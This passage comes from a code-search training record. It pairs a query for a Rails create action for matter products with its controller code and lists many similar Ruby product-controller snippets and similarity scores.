show.html.erb\n format.json { render json: @product_type }\n end\n end", "def index\n @product_cats = ProductCat.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @product_cats }\n end\n end", "def index\n @mixed_products = MixedProduct.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @mixed_products }\n format.json { render :json => @mixed_products.map(&:attributes) }\n end\n end", "def index\n @products = @site.products.all\n end", "def index\n get_sparepart\n get_data\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @products }\n format.js\n end\n end", "def harvest_products\n product_type = params[:product_type]\n package_type = params[:package_type]\n cultivation_batch_id = params[:cultivation_batch_id]\n\n catalogue = Inventory::Catalogue.find_by(label: product_type, category: 'raw_sales_product')\n cultivation_batch = Cultivation::Batch.find(cultivation_batch_id)\n facility = cultivation_batch.facility\n facility_strain = cultivation_batch.facility_strain\n\n product = Inventory::Product.find_by(\n facility: facility,\n facility_strain: facility_strain,\n catalogue: catalogue,\n package_type: package_type,\n )\n\n packages = Inventory::ItemTransaction.where(\n catalogue: catalogue,\n product: product,\n ).\n order(created_at: :desc)\n\n packages_json = packages.map do |x|\n {\n id: x.id.to_s,\n tag: x.package_tag,\n product_id: x.product.id.to_s,\n product_type: x.catalogue.label,\n package_type: x.product.package_type,\n event_type: x.event_type,\n }\n end\n\n render json: packages_json, status: 200\n end", "def show\n result = Product.find(params[:id])\n render json: {\n status: :ok,\n product: result\n } \n end", "def index\n if @category\n @products = @category.products\n else\n @products = Product.find(:all)\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @products }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n render json: @product\n end", "def show\n @product = Product.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def index\n @size_to_products = SizeToProduct.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @size_to_products }\n end\n end", "def the_products\n the_posts('commerce')\n end", "def get_product\n json_response({ message: 'NOT IMPLEMENTED' })\n end", "def show\n @product = Product.find(params[:id])\n render json: @product, status: :ok\n end", "def list_by_category\n category = Category.where(id: params[:category_id])\n if category.any? then\n @products = category.first.products\n if @products.any? then \n render json: @products, status: 200\n else\n render json: { message: \"Não há produtos associados a categoria informada\" }, status: 404\n end\n else\n render json: { message: \"Não foi encontrada a categoria informada\" }, status: 404\n end\n end", "def index\n expose Product.page(params[:page])\n end", "def show\n render json: @product_management\n end", "def index\n @mixproductos = Mixproducto.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @mixproductos }\n end\n end", "def index\n @products = Product.order('category, priority desc, price')\n @basket_size = count_basket_items\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @products }\n end\n end", "def where(options = {})\n _, _, root = @client.get(\"/products\", options)\n \n root[:items].map{ |item| Product.new(item[:data]) }\n end" ]
[ "0.7236215", "0.71494395", "0.6859548", "0.68407476", "0.6784778", "0.67501616", "0.6712368", "0.670876", "0.6702911", "0.6684415", "0.66695225", "0.6669509", "0.6669509", "0.6669509", "0.6654767", "0.66505194", "0.66505194", "0.66505194", "0.66505194", "0.66339433", "0.66322756", "0.6613015", "0.66002166", "0.658607", "0.6585082", "0.6573156", "0.65353554", "0.65315175", "0.652649", "0.6525475", "0.64951175", "0.6472216", "0.6472087", "0.64654845", "0.6456368", "0.64268243", "0.6419395", "0.6416045", "0.6412219", "0.6409441", "0.640682", "0.6403112", "0.64023155", "0.6397991", "0.6388839", "0.6388647", "0.6386873", "0.637509", "0.63720316", "0.63703597", "0.63675475", "0.6364609", "0.6363727", "0.6344572", "0.6339812", "0.633433", "0.6324181", "0.63061166", "0.6301424", "0.6295875", "0.62934357", "0.62911004", "0.6287649", "0.6286943", "0.6282726", "0.6282726", "0.62747616", "0.6274027", "0.6271004", "0.6260216", "0.62576896", "0.62561417", "0.62504447", "0.6246412", "0.6244727", "0.62412196", "0.6239549", "0.6237768", "0.62359875", "0.6225983", "0.6212076", "0.62119293", "0.62078714", "0.6201195", "0.6199936", "0.61979043", "0.6196325", "0.6194592", "0.61885816", "0.61852235", "0.61850786", "0.6171716", "0.6166934", "0.6166898", "0.6165188", "0.616217", "0.61598825", "0.6153739", "0.6145014", "0.61446726" ]
0.7440614
0
GET /matter_products/1 GET /matter_products/1.json
def show end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @matter_products = MatterProduct.all\n end", "def product(name)\n get(\"/apiproducts/#{name}\")\n end", "def get_products()\n\tputs \"Getting products\"\n\tresponse = request_get(\"/api/product\")\n\tputs response.body\nend", "def index\n @api_v1_products = Product.all\n json_response(@api_v1_products)\n end", "def products\n request :public, :get, :products\n end", "def show\n json_response(@api_v1_product)\n end", "def index\n @products = Product.all\n render json: @products\n end", "def show\n @products = Product.find_by_id(params[:id])\n msg = { status: 200 , product: @products }\n respond_to do |format|\n format.html { render json: msg }\n format.json { render json: msg }\n end\n end", "def show\n @product = Product.find(params[:id])\n json_response(params)\n end", "def index\n begin\n @products = Product.all\n render json: @products, status: 200\n rescue => exception\n render json: { errors: exception }\n end\n end", "def index\n @products = Product.all\n respond_to do |format|\n format.html\n format.json { render :json => @product }\n end\n end", "def index\n @products = Product.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @products }\n end\n end", "def index\n @products = Product.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @products }\n end\n end", "def index\n @products = Product.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @products }\n end\n end", "def index\n @products = Product.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @products }\n end\n end", "def index\n @food_products = FoodProduct.all\n render json: @food_products\n end", "def show\n render json: @product, status: 200\n end", "def index\n @products = Product.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @products }\n end\n end", "def index\n @products = Product.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @products }\n end\n end", "def index\n @products = Product.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @products }\n end\n end", "def index\n @products = Product.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @products }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n render json: @product\n end", "def index\n \tproducts = Product.all\n \trender json: products\n \tend", "def index\n if is_my_resource(params[:prossumer_id])\n @products = Product.where(prossumer_id: params[:prossumer_id]).as_json({\n cycle_id: params[:cycle_id],\n include: {\n prossumer: {\n except: [:encrypted_password, :salt, :confirm_hash]\n },\n product_category: {}\n }\n })\n render json: @products\n end\n end", "def index\n @products = Product.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @inventories }\n end\n end", "def show\n product = Product.find_by_id(params[:id])\n\n render json: product\n end", "def getKind\n @products = Product.where(\"kind = ?\", params[:kind]).available.PriceOrder.paginate(page: params[:page], per_page: 5)\n render json: @products\n end", "def index\n @products = Product.order('item_code ASC').page(params[:page]).per(25)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @products }\n end\n end", "def index\n @products = Product.all\n msg = { status: 200 , product: @products }\n respond_to do |format|\n format.html { render json: msg }\n format.json { render json: msg }\n end\n end", "def show\n respond_to do |format|\n format.html {render \"products/show\"}\n format.json {\n product = Product.where(id: params[:id]).includes(:category).first\n render json: product.as_json(include: [:category, :photo])\n }\n end\n end", "def show\n @product = @person.products.find(params[:id])\n\n respond_to do |format|\n format.json { render :json => @product }\n end\n end", "def index\n limit = params[:limit]&.to_i || 10\n page = params[:page]&.to_i || 0\n if params[:available] == \"1\"\n @products = Product.paginate(page, limit).available\n else\n @products = Product.paginate(page, limit)\n end\n render json: @products\n end", "def show\n result = Product.find(params[:id])\n render json: {\n status: :ok,\n product: result\n } \n end", "def show\n @product = Product.find(params[:id])\n render json: @product, status: :ok\n end", "def show\n @product = ProductProduct.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n render json: @product\n end", "def show\n render json: @product\n end", "def show\n @product = Product.find(params[:id])\n\n render json: @product\n end", "def index\n @tipo_products = TipoProduct.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tipo_products }\n end\n end", "def show\n @product = Product.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def index\n @products = current_company.products.order('created_at desc').page(params[:page]).per(20)\n render json: @products, meta: {total_pages: @products.total_pages, total_count: @products.total_count}\n end", "def set_matter_product\n @matter_product = MatterProduct.find(params[:id])\n end", "def index\n #@products = Product.all\n @products = Product.paginate( :page => params[:page],\n :per_page => 40\n )\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @products }\n end\n end", "def show\n render :json => Producto.find(params[:id])\n end", "def show\n @products = CatalogMebeli.find(params[:id]).products\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @product }\n end\n end", "def index\n @product_images = ProductImage.where(product_uuid: params[:product_id])\n render json: @product_images, status: 200\n end", "def show\n @breadcrumb = 'read'\n @product_type = ProductType.find(params[:id])\n @products = @product_type.products.paginate(:page => params[:page], :per_page => per_page).order('product_code')\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product_type }\n end\n end", "def index\n render :json => Producto.all\n end", "def show\n respond_to do |format|\n format.html\n format.json { render :json => @product }\n end\n end", "def user_products\n @products = current_user.products\n\n respond_to do |format|\n format.html\n format.json { render json: @products }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def create\n @matter_product = MatterProduct.new(matter_product_params)\n\n respond_to do |format|\n if @matter_product.save\n format.html { redirect_to @matter_product, notice: 'Matter product was successfully created.' }\n format.json { render :show, status: :created, location: @matter_product }\n else\n format.html { render :new }\n format.json { render json: @matter_product.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n render json: @food_product\n end", "def index\n\t\t@products = Product.page(params[:page])\n respond_with(@products)\n end", "def index\n @ordered_products = OrderedProduct.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ordered_products }\n end\n end", "def index\n #@products = Product.all\n @products = Product.order('created_at ASC').page(params[:page]).per(12)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @products }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json=> @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @product }\n end\n end", "def index\n @products = @user.products\n # was @products = Product.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @products }\n end\n end", "def get_products_by_category\n json_response({ message: 'NOT IMPLEMENTED' })\n end", "def get_product\n json_response({ message: 'NOT IMPLEMENTED' })\n end", "def index\n respond_to do |format|\n format.html\n format.json {\n if params[:filter]\n json_filter = JSON.parse(params[:filter])\n filter = Product.filter json_filter\n\n product_ids = Product.search_for_ids json_filter[\"query\"], :per_page => 10000\n @products = Product.where(id: product_ids).where(filter)\n else\n @products = Product.all\n end\n\n render json: @products.includes(:category).as_json(include: [:category, :photo])\n }\n end\n end", "def index\n @mixproductos = Mixproducto.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @mixproductos }\n end\n end", "def products\n end", "def index\n @products = @co.products\n end", "def show\n @onecompany_product = Onecompany::Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @onecompany_product }\n end\n end", "def index\n products = Product.all\n render json: {message: \"ok\", data: products}\n puts \"hello\"\n\n end", "def index\n @physical_data_products = PhysicalDataProduct.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @physical_data_products }\n end\n end", "def show\n @product_item = ProductItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @product_item }\n end\n end", "def index\n begin\n \n products = Product.all\n render json: {\n success: true,\n totalRecords: products.length,\n data: (ActiveModel::ArraySerializer.new(products, each_serializer: ProductSerializer))\n }, status: 200\n rescue ActiveRecord::RecordNotFound => e\n render json: {\n success: false,\n errors: e.message\n }, status: 404\n rescue Exception => e\n render json: {\n success: false,\n errors: e.message\n }, status: 500\n end\n end", "def show\n @products = Product.find(params[:id])\n end", "def show\n @body_style = BodyStyle.find(params[:id])\n @products = @body_style.products\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @body_style }\n end\n end", "def show\n @productonegocio = Productonegocio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @productonegocio }\n end\n end", "def index\n @product_colors = ProductColor.where(\"product_type_id = ?\", params[:get_product_type_id])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @product_colors }\n end\n end", "def getItem\n Product.select(:product).find(params[:id])\n end", "def show\n render json: @product_management\n end", "def index\n @products = Product.order(\"created_at desc\").paginate(page: params[:page], per_page: 21)\n\n respond_with @products\n end" ]
[ "0.72307265", "0.69784683", "0.6938911", "0.68713427", "0.6749252", "0.6677378", "0.6645124", "0.6611586", "0.6569042", "0.656885", "0.6568503", "0.6559013", "0.6559013", "0.6559013", "0.6559", "0.6553484", "0.65456617", "0.6541143", "0.6541143", "0.6541143", "0.6541143", "0.6537524", "0.6533036", "0.65294784", "0.6525061", "0.6522534", "0.65179026", "0.65096724", "0.65000516", "0.64835846", "0.64689535", "0.644883", "0.6448148", "0.642178", "0.6410505", "0.6400909", "0.64008933", "0.63962835", "0.6389638", "0.63798344", "0.6374297", "0.6365108", "0.6361767", "0.6347762", "0.6339004", "0.63318026", "0.63216287", "0.63199866", "0.6319905", "0.6319441", "0.63129485", "0.62893724", "0.6288884", "0.62886184", "0.62886184", "0.62886184", "0.62886184", "0.62886184", "0.62886184", "0.62886184", "0.62886184", "0.62886184", "0.62886184", "0.62886184", "0.62886184", "0.62886184", "0.62886184", "0.62886184", "0.62886184", "0.62886184", "0.62886184", "0.62886184", "0.62886184", "0.6288517", "0.6284121", "0.62735736", "0.62724805", "0.6266432", "0.6259313", "0.6257749", "0.6257749", "0.6257749", "0.6255972", "0.6253475", "0.62466264", "0.62445754", "0.62358826", "0.6235457", "0.6235064", "0.62269306", "0.6225712", "0.62238574", "0.62173796", "0.621405", "0.6208846", "0.62021995", "0.6199444", "0.6194024", "0.61935663", "0.61895895", "0.6189381" ]
0.0
-1
POST /matter_products POST /matter_products.json
def create @matter_product = MatterProduct.new(matter_product_params) respond_to do |format| if @matter_product.save format.html { redirect_to @matter_product, notice: 'Matter product was successfully created.' } format.json { render :show, status: :created, location: @matter_product } else format.html { render :new } format.json { render json: @matter_product.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n if params[:products]\n params[:products].each do |product|\n @product = Product.new(name: product[:name],\n brand: product[:brand],\n model: product[:model],\n sku: product[:sku],\n price: product[:price],\n desc: product[:desc])\n if !@product.save\n render json: @product.errors.full_messages, status: 422\n end\n end\n render 'api/products/index'\n else\n @product = Product.new(product_params)\n if @product.save\n render 'api/products/show'\n else\n render json: @product.errors.full_messages, status: 422\n end\n end\n end", "def create\n @product = Product.new(product_args)\n\n if @product.save\n render json: Product.all, status: :created\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end", "def create\n @product = @collection.products.build(product_params)\n\n if @product.save\n render json: @product, status: :created#, location: @collection\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end", "def create\n newProduct = Product.new(products_params)\n if newProduct.save\n msg = { status: 201 , product: newProduct }\n respond_to do |format|\n format.html { render json: msg }\n format.json { render json: msg }\n end\n else\n msg = { status: 422 }\n respond_to do |format|\n format.html { render json: msg }\n format.json { render json: msg }\n end\n end\n end", "def create\n @product = Product.create!(product_params)\n json_response(@product, :created)\n end", "def create\n @product = Product.new(product_params)\n\n if @product.save\n render json: @product, status: :created\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end", "def create\n @product = Product.new(product_params)\n\n if @product.save\n render json: @product, status: :created, location: @product\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end", "def matter_product_params\n params.require(:matter_product).permit(:nombre, :fecha, :materia, :cantidad, :medida, :Matter_id, :Product_id)\n end", "def create\n return unless product_params\n render json: Product.create_product(\n @product_params,\n category_list,\n @current_user.id\n ).simple_info, status: :created\n rescue => e\n render json: { error: e }, status: :bad_request\n end", "def create\n\n product_details = params.permit(:title, :inventory_count, :price)\n success = Product.create(product_details)\n\n render json: { success: success }\n end", "def create\n @product = Product.new(product_params)\n\n if @product.save\n render json: @product, status: :created, location: @product\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end", "def create\n @product = Product.new(product_params)\n\n if @product.save\n render json: @product, status: :created\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end", "def create\n product = Product.new(product_params)\n if product.save\n render json: ProductSerializer.new(product).serialized_json\n end\n end", "def create\n @product = Product.new(product_params)\n @product.user = current_api_v1_user\n respond_to do |format|\n if @product.save\n params[:product][:properties].try(:each) do |k,v|\n @product.product_properties.create(property: Property.find(k), value: v)\n end\n params[:product][:colors].try(:each) do |c|\n @product.colors.create(name: c[:name].downcase, code: c[:code])\n end\n params[:product][:photos].try(:each) do |c|\n @product.photos.create(image: c)\n end\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created}\n else\n format.html { render :new }\n format.json { render json: @product.errors.full_messages, status: :unprocessable_entity }\n end\n end\n end", "def addProd()\n if(!authenticateAdmin(params[:admin_id], params[:admin_auth_key]))\n render json: {status: false, reason: \"Authentication Failed\", data: \"\"}\n return\n end\n p = Product.new(name: params[:name], price: params[:price].to_f, category_id: params[:cat_id], picture_list: '[]')\n status = p.save\n error = \"\"\n if(p.errors.full_messages.count > 0)\n error = c.errors.full_messages[0]\n end\n render json: {status: status, reason: error, data: \"\"}\n end", "def create\n @product = Product.new(product_params)\n @product.save\n set_products\n end", "def create\n @paper_product = PaperProduct.new(paper_product_params)\n\n respond_to do |format|\n if @paper_product.save\n format.html { redirect_to @paper_product, notice: \"Paper product was successfully created.\" }\n format.json { render :show, status: :created, location: @paper_product }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @paper_product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n if @product.save\n render json: {id: @product.id}\n else\n render json: {msg: @product.errors.full_messages.first}, status: :unprocessable_entity\n end\n end", "def send_product(product)\n request(product, \"product\", :post, {method: \"add\"})\n end", "def create\n if @product.save\n render :show, status: :created, location: api_v1_product_path(@product)\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end", "def create\n @product = Product.create(product_params)\n if @product.save\n # Respond to html with a redirect and json\n respond_to do |format|\n format.html do\n flash[:notice] = 'Product added'\n redirect_to products_path\n end\n format.json do\n render json: product.to_json\n end\n end\n else\n # Respond to html with a redirect and json\n respond_to do |format|\n format.html do\n flash.now[:error] = 'Error adding product'\n render :new\n end\n format.json do\n render json: { errors: @product.errors.full_messages }, status: 422\n end\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n #permitted_columns = params[:products_purposes_relations].permit(:product_id, :purpose_id, :stars)\n # @products_purposes_relation = @product.products_purposes_relations.create(permitted_columns)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: t('create_success') }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n \n end", "def create\n ActiveRecord::Base.transaction do\n begin\n @api_v1_product = Product.create!(api_v1_product_params)\n\n json_response @api_v1_product, :created\n rescue => ex\n json_response({error: ex.message}, :unprocessable_entity)\n raise ActiveRecord::Rollback\n end\n end\n end", "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to products_path, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(params[:product])\n @manufacturers = Manufacturer.all\n @categories = Category.all\n respond_to do |format|\n if @product.save\n \n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, :notice => 'Product was successfully created.' }\n format.json { render :json => @product, :status => :created, :location => @product }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, :notice => 'Product was successfully created.' }\n format.json { render :json => @product, :status => :created, :location => @product }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, :notice => 'Product was successfully created.' }\n format.json { render :json => @product, :status => :created, :location => @product }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: t(:product_created) }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n \n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to products_url, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: products_url }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @matter_products = MatterProduct.all\n end", "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product,\n :notice=> 'Product was successfully created.' }\n format.json { render :json=> @product, :status=> :created,\n :location=> @product }\n else\n format.html { render :action=> \"new\" }\n format.json { render :json=> @product.errors,\n :status=> :unprocessable_entity }\n end\n end\n end", "def create\n @product = @person.products.build(params[:model])\n\n respond_to do |format|\n if @product.save\n format.json { render :json => @product, :status => :created}\n else\n format.json { render :json => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @my_product = current_user.products.new(my_product_params)\n\n if @my_product.save\n render :show, status: :created\n else\n render json: @my_product.errors, status: :unprocessable_entity\n end\n end", "def create\n render json: Beverage.create!(beverage_post_params), status: :created\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Изделие успешно создано.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def products\n end", "def create\n @product = current_user.products.new(name: product_params[:name],description:product_params[:description],price:product_params[:price])\n @product.brand = Brand.find_by(brandName: product_params[:brand])\n @product.categories = Category.where(category:product_params[:category])\n respond_to do |format|\n if @product.save \n format.html { redirect_to new_product_location_path(@product), notice: \"Product was successfully created.\"}\n format.json { render json: @product}\n \n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n 